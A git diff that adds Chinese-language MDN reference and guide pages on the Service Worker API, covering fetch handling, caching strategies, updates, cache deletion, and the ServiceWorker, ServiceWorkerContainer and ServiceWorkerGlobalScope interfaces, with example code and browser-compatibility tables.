    + +
    fetch(event.request)
    +
  6. +
  7. +

    如果没有在缓存中找到匹配的资源,同时网络也不可用,你可以用 {{domxref("CacheStorage.match","match()")}} 把一些回退的页面作为响应来匹配这些资源,比如:

    + +
    caches.match('/fallback.html');
    +
  8. +
  9. +

    你可以通过 {{domxref("FetchEvent")}} 返回的 {{domxref("Request")}} 对象检索到非常多有关请求的信息:

    + +
    event.request.url
    +event.request.method
    +event.request.headers
    +event.request.body
    +
  10. +
+ +

恢复失败的请求

+ +

在有 service worker cache 里匹配的资源时, caches.match(event.request) 是非常棒的。但是如果没有匹配资源呢?如果我们不提供任何错误处理,promise 就会 reject,同时也会出现一个网络错误。

+ +

幸运的是,service worker 的基于 promise 的结构,使得提供更多的成功的选项变得微不足道。 我们可以这样做:

+ +
self.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).then(function(response) {
+      return response || fetch(event.request);
+    })
+  );
+});
+ +

如果 promise reject了, catch() 函数会执行默认的网络请求,意味着在网络可用的时候可以直接像服务器请求资源。

+ +

如果我们足够聪明的话,我们就不会只是从服务器请求资源,而且还会把请求到的资源保存到缓存中,以便将来离线时所用!这意味着如果其他额外的图片被加入到  Star Wars 图库里,我们的 app 会自动抓取它们。下面就是这个诀窍:

+ +
self.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).then(function(resp) {
+      return resp || fetch(event.request).then(function(response) {
+        return caches.open('v1').then(function(cache) {
+          cache.put(event.request, response.clone());
+          return response;
+        });
+      });
+    })
+  );
+});
+ +

这里我们用 fetch(event.request) 返回了默认的网络请求,它返回了一个 promise 。当网络请求的 promise 成功的时候,我们 通过执行一个函数用 caches.open('v1') 来抓取我们的缓存,它也返回了一个 promise。当这个 promise 成功的时候, cache.put() 被用来把这些资源加入缓存中。资源是从  event.request 抓取的,它的响应会被  response.clone() 克隆一份然后被加入缓存。这个克隆被放到缓存中,它的原始响应则会返回给浏览器来给调用它的页面。

+ +

为什么要这样做?这是因为请求和响应流只能被读取一次。为了给浏览器返回响应以及把它缓存起来,我们不得不克隆一份。所以原始的会返回给浏览器,克隆的会发送到缓存中。它们都是读取了一次。

+ +

我们现在唯一的问题是当请求没有匹配到缓存中的任何资源的时候,以及网络不可用的时候,我们的请求依然会失败。让我们提供一个默认的回退方案以便不管发生了什么,用户至少能得到些东西:

+ +
this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).then(function() {
+      return fetch(event.request).then(function(response) {
+        return caches.open('v1').then(function(cache) {
+          cache.put(event.request, response.clone());
+          return response;
+        });
+      });
+    }).catch(function() {
+      return caches.match('/sw-test/gallery/myLittleVader.jpg');
+    })
+  );
+});
+ +

因为只有新图片会失败,我们已经选择了回退的图片,一切都依赖我们之前看到的  install  事件侦听器中的安装过程。

+ +

更新你的 service worker

+ +

如果你的 service worker 已经被安装,但是刷新页面时有一个新版本的可用,新版的 service worker 会在后台安装,但是还没激活。当不再有任何已加载的页面在使用旧版的 service worker 的时候,新版本才会激活。一旦再也没有更多的这样已加载的页面,新的 service worker 就会被激活。

+ +

你想把你的新版的 service worker 里的  install 事件监听器改成下面这样(注意新的版本号):

+ +
self.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v2').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+
+        …
+
+        // include other new resources for the new version...
+      ]);
+    })
+  );
+});
+ +

当安装发生的时候,前一个版本依然在响应请求,新的版本正在后台安装,我们调用了一个新的缓存 v2,所以前一个 v1 版本的缓存不会被扰乱。

+ +

当没有页面在使用当前的版本的时候,这个新的 service worker 就会激活并开始响应请求。

+ +

删除旧缓存

+ +

你还有个 activate 事件。当之前版本还在运行的时候,一般被用来做些会破坏它的事情,比如摆脱旧版的缓存。在避免占满太多磁盘空间清理一些不再需要的数据的时候也是非常有用的,每个浏览器都对 service worker 可以用的缓存空间有个硬性的限制。浏览器尽力管理磁盘空间,但它可能会删除整个域的缓存。浏览器通常会删除域下面的所有的数据。

+ +

传给 waitUntil() 的 promise 会阻塞其他的事件,直到它完成。所以你可以确保你的清理操作会在你的的第一次 fetch 事件之前会完成。

+ +
self.addEventListener('activate', function(event) {
+  var cacheWhitelist = ['v2'];
+
+  event.waitUntil(
+    caches.keys().then(function(keyList) {
+      return Promise.all(keyList.map(function(key) {
+        if (cacheWhitelist.indexOf(key) === -1) {
+          return caches.delete(key);
+        }
+      }));
+    })
+  );
+});
+ +

开发者工具

+ +

Chrome 有一个 chrome://inspect/#service-workers 可以展示当前设备上激活和存储的 service worker。还有个 chrome://serviceworker-internals 可以展示更多细节来允许你开始/暂停/调试 worker 的进程。未来他们会支持流量调节控制/离线模式来模拟弱网或者没网状态,这也是非常好的。

+ +

Firefox 也开始实现一些关于 service worker 的有用的工具:

+ + + +
注意: 你也许想让你的应用运行在 http://localhost (示例: 使用 me@localhost:/my/app$ python -m SimpleHTTPServer) 以用于本地开发。详细内容请查看 Security considerations
+ +

查看更多

+ + diff --git a/files/zh-cn/web/api/serviceworker/index.html b/files/zh-cn/web/api/serviceworker/index.html new file mode 100644 index 0000000000..8ea3404a4f --- /dev/null +++ b/files/zh-cn/web/api/serviceworker/index.html @@ -0,0 +1,163 @@ +--- +title: ServiceWorker +slug: Web/API/ServiceWorker +tags: + - API + - Draft + - Experimental + - Service Worker + - 离线 +translation_of: Web/API/ServiceWorker +--- +
{{SeeCompatTable}} {{APIRef("Service Workers API")}}
+ +
ServiceWorker API 的 ServiceWorker接口 提供一个对一个服务工作者的引用。 多个浏览上下文(例如页面,工作者等)可以与相同的服务工作者相关联,每个都通过唯一的ServiceWorker对象。
+ +
 
+ +

一个ServiceWorker对象在 {{domxref("ServiceWorkerRegistration.active")}} 属性和 {{domxref("ServiceWorkerContainer.controller")}} 属性中可用 — 这是一个激活并在控制页面的service worker(service worker成功注册,被控页面已经重新加载完毕.)

+ +

ServiceWorker接口被分配了一系列生命周期事件 --- 安装和激活 --- 以及功能型的事件,包括 fetch.一个ServiceWorker对象有一个与之关联的 {{domxref("ServiceWorker.state")}},指示着它的生命周期.

+ +

属性

+ +

ServiceWorker 接口继承它父类{{domxref("Worker")}}的属性.

+ +
+
{{domxref("ServiceWorker.scriptURL")}} {{readonlyinline}}
+
返回作为 {{domxref("ServiceWorkerRegistration")}} 一部分所定义的ServiceWorker序列化脚本URL.这个URL必须和注册该ServiceWorker的文档处于同一域.
+
{{domxref("ServiceWorker.state")}} {{readonlyinline}}
+
返回service worker的状态.其值可能是如下之一:installing,installed,activating,activated或者是redundant.
+
+ +

Event handlers

+ +
+
{{domxref("ServiceWorker.onstatechange")}} {{readonlyinline}}
+
一个一旦 {{domxref("ServiceWorker.state")}} 发生改变时,即一个类型为statechange事件触发时就会被调用的 {{domxref("EventListener")}} 属性.
+
+ +

方法

+ +
+
ServiceWorker 接口继承它父类 {{domxref("Worker")}} 的方法 ,并带有一个 {{domxref("Worker.terminate")}} 的异常 --- 它不应该从service workers.ServiceWorker中访问.
+
+ +

例子

+ +

代码段来自service worker registration-events sample (live demo). 这段代码监听了{{domxref("ServiceWorker.state")}} 的变化并且返回它的值.

+ +
if ('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('service-worker.js', {
+        scope: './'
+    }).then(function (registration) {
+        var serviceWorker;
+        if (registration.installing) {
+            serviceWorker = registration.installing;
+            document.querySelector('#kind').textContent = 'installing';
+        } else if (registration.waiting) {
+            serviceWorker = registration.waiting;
+            document.querySelector('#kind').textContent = 'waiting';
+        } else if (registration.active) {
+            serviceWorker = registration.active;
+            document.querySelector('#kind').textContent = 'active';
+        }
+        if (serviceWorker) {
+            // logState(serviceWorker.state);
+            serviceWorker.addEventListener('statechange', function (e) {
+                // logState(e.target.state);
+            });
+        }
+    }).catch (function (error) {
+        // Something went wrong during registration. The service-worker.js file
+        // might be unavailable or contain a syntax error.
+    });
+} else {
+    // The current browser doesn't support service workers.
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-obj', 'ServiceWorker')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{CompatGeckoDesktop("44.0")}}[1]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("44.0")}}{{ CompatVersionUnknown }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(40.0)}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 Extended Support Release (ESR.)

+ +

参见

+ + diff --git a/files/zh-cn/web/api/serviceworker/onstatechange/index.html b/files/zh-cn/web/api/serviceworker/onstatechange/index.html new file mode 100644 index 0000000000..1ac245dfd4 --- /dev/null +++ b/files/zh-cn/web/api/serviceworker/onstatechange/index.html @@ -0,0 +1,123 @@ +--- +title: ServiceWorker.onstatechange +slug: Web/API/ServiceWorker/onstatechange +translation_of: Web/API/ServiceWorker/onstatechange +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

一个 {{domxref("EventListener")}} 联动的属性,其会被任何stagechange类型事件抛出时联动; 它也基本上能在任何时候{{domxref("ServiceWorker.state")}} 改变时被抛出.

+ +

语法

+ +
ServiceWorker.onstatechange = function(statechangeevent) { ... }
+ServiceWorker.addEventListener('statechange', function(statechangeevent) { ... } )
+ +

示例

+ +

这段代码出自 service worker registration-events sample (live demo). 它会监听 {{domxref("ServiceWorker.state")}} 的改变并返回它的值.

+ +
var serviceWorker;
+if (registration.installing) {
+  serviceWorker = registration.installing;
+  document.querySelector('#kind').textContent = 'installing';
+} else if (registration.waiting) {
+  serviceWorker = registration.waiting;
+  document.querySelector('#kind').textContent = 'waiting';
+} else if (registration.active) {
+  serviceWorker = registration.active;
+  document.querySelector('#kind').textContent = 'active';
+}
+
+if (serviceWorker) {
+  logState(serviceWorker.state);
+  serviceWorker.addEventListener('statechange', function(e) {
+  logState(e.target.state);
+  });
+}
+ +

注意当statechange 抛出时, service worker的引用可能已经改变。例如:

+ +
navigator.serviceWorker.register(..).then(function(swr) {
+  swr.installing.state == "installing"
+  swr.installing.onstatechange = function() {
+    swr.installing == null;
+    // At this point, swr.waiting OR swr.active might be true. This is because the statechange
+    // event gets queued, meanwhile the underlying worker may have gone into the waiting
+    // state and will be immediately activated if possible.
+  }
+})
+ +

规范

+ + + + + + + + + + + + + + +
规范状态附注
{{SpecName('Service Workers', '#service-worker-onstatechange-attribute', 'ServiceWorker.onstatechange')}}{{Spec2('Service Workers')}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(40.0)}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 and 52 Extended Support Releases (ESR.)

diff --git a/files/zh-cn/web/api/serviceworker/scripturl/index.html b/files/zh-cn/web/api/serviceworker/scripturl/index.html new file mode 100644 index 0000000000..5b0ce2055d --- /dev/null +++ b/files/zh-cn/web/api/serviceworker/scripturl/index.html @@ -0,0 +1,92 @@ +--- +title: ServiceWorker.scriptURL +slug: Web/API/ServiceWorker/scriptURL +translation_of: Web/API/ServiceWorker/scriptURL +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

作为ServiceWorkerRegistration的一部分定义,会返回该ServiceWorker的序列化脚本url. 必须与document注册ServiceWorker的地址同源.

+ +

语法

+ +
someURL = ServiceWorker.scriptURL
+
+ +

+ +

一个 {{domxref("USVString")}} (另见 WebIDL definition of USVString.)

+ +

规范

+ + + + + + + + + + + + + + +
规范状态附注
{{SpecName('Service Workers', '#service-worker-url-attribute', 'scriptURL')}}{{Spec2('Service Workers')}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(40.0)}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 and 52 Extended Support Releases (ESR.)

diff --git a/files/zh-cn/web/api/serviceworker/state/index.html b/files/zh-cn/web/api/serviceworker/state/index.html new file mode 100644 index 0000000000..9c0045f8a0 --- /dev/null +++ b/files/zh-cn/web/api/serviceworker/state/index.html @@ -0,0 +1,115 @@ +--- +title: ServiceWorker.state +slug: Web/API/ServiceWorker/state +translation_of: Web/API/ServiceWorker/state +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +
ServiceWorker接口的这个只读的state属性返回一个代表service worker当前状态的字符串。值可以是以下这些:installing, installed, activating, activated, 或者是redundant.
+ +

语法

+ +
someURL = ServiceWorker.state
+
+ +

+ +

一个 {{domxref("ServiceWorkerState")}} 的定义值 (see the spec.)

+ +

示例

+ +

这块代码出自 service worker registration-events sample (live demo). 代码监听了任何{{domxref("ServiceWorker.state")}}中的改变,并返回它的值.

+ +
var serviceWorker;
+if (registration.installing) {
+  serviceWorker = registration.installing;
+  document.querySelector('#kind').textContent = 'installing';
+} else if (registration.waiting) {
+  serviceWorker = registration.waiting;
+  document.querySelector('#kind').textContent = 'waiting';
+} else if (registration.active) {
+  serviceWorker = registration.active;
+  document.querySelector('#kind').textContent = 'active';
+}
+
+if (serviceWorker) {
+  logState(serviceWorker.state);
+  serviceWorker.addEventListener('statechange', function(e) {
+  logState(e.target.state);
+  });
+}
+ +

规范

+ + + + + + + + + + + + + + +
规范状态附注
{{SpecName('Service Workers', '#service-worker-state-attribute', 'state')}}{{Spec2('Service Workers')}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(40.0)}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 and 52 Extended Support Releases (ESR.)

diff --git a/files/zh-cn/web/api/serviceworkercontainer/controller/index.html b/files/zh-cn/web/api/serviceworkercontainer/controller/index.html new file mode 100644 index 0000000000..349ba57586 --- /dev/null +++ b/files/zh-cn/web/api/serviceworkercontainer/controller/index.html @@ -0,0 +1,57 @@ +--- +title: ServiceWorkerContainer.controller +slug: Web/API/ServiceWorkerContainer/controller +translation_of: Web/API/ServiceWorkerContainer/controller +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

当状态为activated 时, {{domxref("ServiceWorkerContainer")}} 接口的只读属性 controller 返回一个 {{domxref("ServiceWorker")}} 对象(与 {{domxref("ServiceWorkerRegistration.active")}} 返回的对象是同一个)。当页面强制刷新 (Shift + refresh) 或不存在active worder时,该属性返回 null 。

+ +

语法

+ +
var myController = navigator.serviceWorker.controller;
+
+ +

+ +

一个{{domxref("ServiceWorker")}}对象.

+ +

示例

+ +
if ('serviceWorker' in navigator) {
+  // Do a one-off check to see if a service worker's in control.
+  if (navigator.serviceWorker.controller) {
+    console.log('This page is currently controlled by:',
+      navigator.serviceWorker.controller);
+  } else {
+    console.log('This page is not currently controlled ' +
+      'by a service worker.');
+  }
+} else {
+  console.log('Service workers are not supported.');
+}
+ +

规范

+ + + + + + + + + + + + + + +
规范状态附注
{{SpecName('Service Workers', '#navigator-service-worker-controller', 'ServiceWorkerRegistration.controller')}}{{Spec2('Service Workers')}}Initial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.ServiceWorkerContainer.controller")}}

+
diff --git a/files/zh-cn/web/api/serviceworkercontainer/index.html b/files/zh-cn/web/api/serviceworkercontainer/index.html new file mode 100644 index 0000000000..094ee798e2 --- /dev/null +++ b/files/zh-cn/web/api/serviceworkercontainer/index.html @@ -0,0 +1,161 @@ +--- +title: ServiceWorkerContainer +slug: Web/API/ServiceWorkerContainer +tags: + - API + - Draft + - Interface + - NeedsTranslation + - Offline + - Reference + - Service Workers + - ServiceWorkerContainer + - TopicStub + - Workers +translation_of: Web/API/ServiceWorkerContainer +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}} 

+ +

ServiceWorkerContainer接口为 service worker提供一个容器般的功能,包括对service worker的注册,卸载 ,更新和访问service worker的状态,以及他们的注册者

+ +

主要是{{domxref("ServiceWorkerContainer.register", "ServiceWorkerContainer.register(scriptURL, scope[, base])")}}提供一个注册service worker的方法,{{domxref("ServiceWorkerContainer.controller")}}将获取当前控制页面网络的service worker

+ +

?属性

+ +
+
{{domxref("ServiceWorkerContainer.controller")}} {{readonlyinline}}
+
当?{{domxref("ServiceWorker")}}对象的state是active的时候,返回一个 {{domxref("ServiceWorker")}} ?对象 和{{domxref("ServiceWorkerRegistration.active")}})返回相同的对象。 如果当前的state都不是active或者强制刷新浏览器则返回null。
+
+ +
+
{{domxref("ServiceWorkerContainer.ready")}} {{readonlyinline}}
+
定义了一个serviceWorker是否准备好为一个页面服务,将返回一个 {{jsxref("Promise")}},并且这个 {{jsxref("Promise")}}永远不会 reject,这个 {{jsxref("Promise")}}会在{{domxref("ServiceWorkerRegistration")}} 获取到一个active的{{domxref("ServiceWorker")}}的时候被解决。
+
 
+
+ +

?事件

+ +
+
{{domxref("ServiceWorkerContainer.oncontrollerchange")}}
+
在{{domxref("ServiceWorkerRegistration")}}获取到一个新的active的{{domxref("ServiceWorker")}}对象的时候被触发
+
{{domxref("ServiceWorkerContainer.onerror")}}
+
当service workers中出现错误的时候被触发
+
{{domxref("ServiceWorkerContainer.onmessage")}}
+
当{{domxref("ServiceWorkerContainer")}}  对象接受到一个message消息的时候被触发,message由{{domxref("MessagePort.postMessage()")}}发出
+
+ +

?方法

+ +
+
{{domxref("ServiceWorkerContainer.register", "ServiceWorkerContainer.register()")}} 
+
创建或者更新一个{{domxref("ServiceWorkerRegistration")}} 用给定的scriptURL
+
{{domxref("ServiceWorkerContainer.getRegistration()")}}
+
根据当前网页的URL与当前service worker的scope Url的匹配,返回一个 {{domxref("ServiceWorkerRegistration")}}对象,如果不能返回一个 {{domxref("ServiceWorkerRegistration")}},则返回一个{{jsxref("Promise")}}。
+
{{domxref("ServiceWorkerContainer.getRegistrations()")}}
+
返回所有的{{domxref("ServiceWorkerRegistration")}}对象,如果不能返回一个 {{domxref("ServiceWorkerRegistration")}},则返回一个{{jsxref("Promise")}}。
+
+ +

?举例

+ +

?代码是service worker fallback-response sample (see fallback-response live)的其中一段. ?首先检查浏览器是否支持serviceWorker. 代码创建了一个serviceWorker,并且打印出来当前页面的serviceWorker的?是否接管了页面的网络状态. 如果没有需要刷新页面再次查看.  代码也处理了注册失败的情况

+ +
if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('service-worker.js', {scope: './'}).then(function() {
+    if (navigator.serviceWorker.controller) {
+      document.querySelector('#status').textContent = 'The service worker is currently handling network operations.';
+      showRequestButtons();
+    } else {
+      document.querySelector('#status').textContent = 'Please reload this page to allow the service worker to handle network operations.';
+    }
+  }).catch(function(error) {
+    document.querySelector('#status').textContent = error;
+  });
+} else {
+  var aElement = document.createElement('a');
+  aElement.href = 'http://www.chromium.org/blink/serviceworker/service-worker-faq';
+  aElement.textContent = 'unavailable';
+  document.querySelector('#status').appendChild(aElement);
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-container', 'ServiceWorkerContainer')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}24{{CompatNo}}
+ + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 and 52 Extended Support Releases (ESR.)

+ +

See also

+ + + + diff --git a/files/zh-cn/web/api/serviceworkercontainer/register/index.html b/files/zh-cn/web/api/serviceworkercontainer/register/index.html new file mode 100644 index 0000000000..67b4d1a9ef --- /dev/null +++ b/files/zh-cn/web/api/serviceworkercontainer/register/index.html @@ -0,0 +1,132 @@ +--- +title: ServiceWorkerContainer.register() +slug: Web/API/ServiceWorkerContainer/register +tags: + - ServiceWorkerContainer.register() +translation_of: Web/API/ServiceWorkerContainer/register +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

{{domxref("ServiceWorkerContainer")}} 接口的 register() 方法创建或更新一个给定scriptURL的ServiceWorkerRegistration 

+ +

如果成功,一个服务工作者注册将提供的脚本URL与一个范围进行关联,后者用于导航匹配。如果该方法无法返回一个 ServiceWorkerRegistration,则返回一个 Promise

+ +

您可以从受控页无条件调用此方法, 即, 您不需要首先检查是否有一个有效的注册。

+ +

语法

+ +
ServiceWorkerContainer.register(scriptURL, options)
+    .then(
+        function(ServiceWorkerRegistration) {
+            // do something
+        }
+);
+ +

参数

+ +
+
scriptURL
+
service worker脚本的URL.
+
options {{optional_inline}}
+
注册时提供选项的配置对象。 目前可用的选项包括: +
    +
  • scope: 一个 {{domxref("USVString")}},表示定义service worker注册范围的URL ;service worker可以控制的URL范围。通常是相对URL。默认值是基于当前的location,并以此来解析传入的路径.
  • +
+
+
+ +

返回

+ +

返回一个 {{domxref("Promise")}} 对象, 值是 {{domxref("ServiceWorkerRegistration")}} .

+ +

示例

+ +
if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('service-worker.js', {scope: './'})
+  .then(function(registration) {
+    document.querySelector('#status').textContent = 'succeeded';
+  }).catch(function(error) {
+    document.querySelector('#status').textContent = error;
+  });
+} else {
+  // The current browser doesn't support service workers.
+  let aElement = document.createElement('a');
+  aElement.href = `
+     http://www.chromium.org/blink/serviceworker/service-worker-faq
+  `;
+  aElement.textContent = 'unavailable';
+  document.querySelector('#status').appendChild(aElement);
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-container', 'ServiceWorkerContainer')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(40.0)}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 Extended Support Release (ESR.)

diff --git a/files/zh-cn/web/api/serviceworkerglobalscope/caches/index.html b/files/zh-cn/web/api/serviceworkerglobalscope/caches/index.html new file mode 100644 index 0000000000..bead85ce7c --- /dev/null +++ b/files/zh-cn/web/api/serviceworkerglobalscope/caches/index.html @@ -0,0 +1,52 @@ +--- +title: ServiceWorkerGlobalScope.caches +slug: Web/API/ServiceWorkerGlobalScope/caches +translation_of: Web/API/ServiceWorkerGlobalScope/caches +--- +

{{APIRef("Service Workers API")}}

+ +

caches 是一个 {{domxref("ServiceWorkerGlobalScope")}} 接口的只读属性,返回与当前service worker相关联的{{domxref("CacheStorage")}}对象。

+ +

语法

+ +
var myCacheStorage = self.caches;
+
+ +

返回值

+ +

一个 {{domxref("CacheStorage")}} 对象。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Service Workers', '#global-caches', 'ServiceWorkerGlobalScope.caches')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.ServiceWorkerGlobalScope.caches")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/serviceworkerglobalscope/index.html b/files/zh-cn/web/api/serviceworkerglobalscope/index.html new file mode 100644 index 0000000000..f51a873d43 --- /dev/null +++ b/files/zh-cn/web/api/serviceworkerglobalscope/index.html @@ -0,0 +1,240 @@ +--- +title: ServiceWorkerGlobalScope +slug: Web/API/ServiceWorkerGlobalScope +translation_of: Web/API/ServiceWorkerGlobalScope +--- +
{{APIRef("Service Workers API")}}
+ +

ServiceWorker API 的ServiceWorkerGlobalScope 接口,代表一个service worker的全局执行上下文。

+ +

开发者应该知道, ServiceWorker 的状态在结束/重启的循环中不是一直保持不变的,所以每个事件处理器应该设定一个默认的全局状态。

+ +

一旦成功地注册了service worker,为了节省内存和处理器,它将在他的状态达到了空闲的时候被终止。 一个在激活状态的service worker为了响应事件是可以自动重启的,就像这两个方法, {{domxref("ServiceWorkerGlobalScope.onfetch")}} 或者{{domxref("ServiceWorkerGlobalScope.onmessage")}}.

+ +

此外, 在service worker中, 同步请求是被禁止的 - 只有异步请求,如方法{{domxref("GlobalFetch.fetch", "fetch()")}} 才被允许.

+ +

该接口继承自 {{domxref("WorkerGlobalScope")}} 接口, 以及其父类 {{domxref("EventTarget")}}, 因此继承属性来自 {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, 和 {{domxref("WindowEventHandlers")}}.

+ +

{{InheritanceDiagram(700, 85, 20)}}

+ +

属性

+ +
+
{{domxref("ServiceWorkerGlobalScope.clients")}} {{readonlyinline}}
+
Contains the {{domxref("Clients")}} object associated with the service worker.
+
{{domxref("ServiceWorkerGlobalScope.registration")}} {{readonlyinline}}
+
Contains the {{domxref("ServiceWorkerRegistration")}} object that represents the service worker's registration.
+
{{domxref("ServiceWorkerGlobalScope.caches")}} {{readonlyinline}}
+
Contains the {{domxref("CacheStorage")}} object associated with the service worker.
+
+ +

Event handlers

+ +
+
{{domxref("ServiceWorkerGlobalScope.onactivate")}}
+
An event handler fired whenever an {{Event("activate")}} event occurs — when a {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.active")}} worker.
+
{{domxref("ServiceWorkerGlobalScope.onfetch")}}
+
An event handler fired whenever a {{Event("fetch")}} event occurs — when a {{domxref("GlobalFetch.fetch", "fetch()")}} is called.
+
{{domxref("ServiceWorkerGlobalScope.oninstall")}}
+
An event handler fired whenever an {{Event("install")}} event occurs — when a {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.installing")}} worker.
+
{{domxref("ServiceWorkerGlobalScope.onmessage")}}
+
An event handler fired whenever a {{Event("message")}} event occurs — when incoming messages are received. Controlled pages can use the {{domxref("MessagePort.postMessage()")}} method to send messages to service workers. The service worker can optionally send a response back via the {{domxref("MessagePort")}} exposed in event.data.port, corresponding to the controlled page.
+
{{domxref("ServiceWorkerGlobalScope.onnotificationclick")}}
+
An event handler fired whenever a {{Event("notificationclick")}} event occurs — when a user clicks on a displayed notification.
+
{{domxref("ServiceWorkerGlobalScope.onnotificationclose")}}
+
An event handler fired whenever a {{Event("notificationclose")}} event occurs — when a user closes a displayed notification.
+
{{domxref("ServiceWorkerGlobalScope.onpush")}}
+
An event handler fired whenever a {{Event("push")}} event occurs — when a server push notification is received.
+
{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}}
+
An event handler fired whenever a {{Event("pushsubscriptionchange")}} event occurs — when a push subscription has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time.)
+
{{domxref("ServiceWorkerGlobalScope.onsync")}}
+
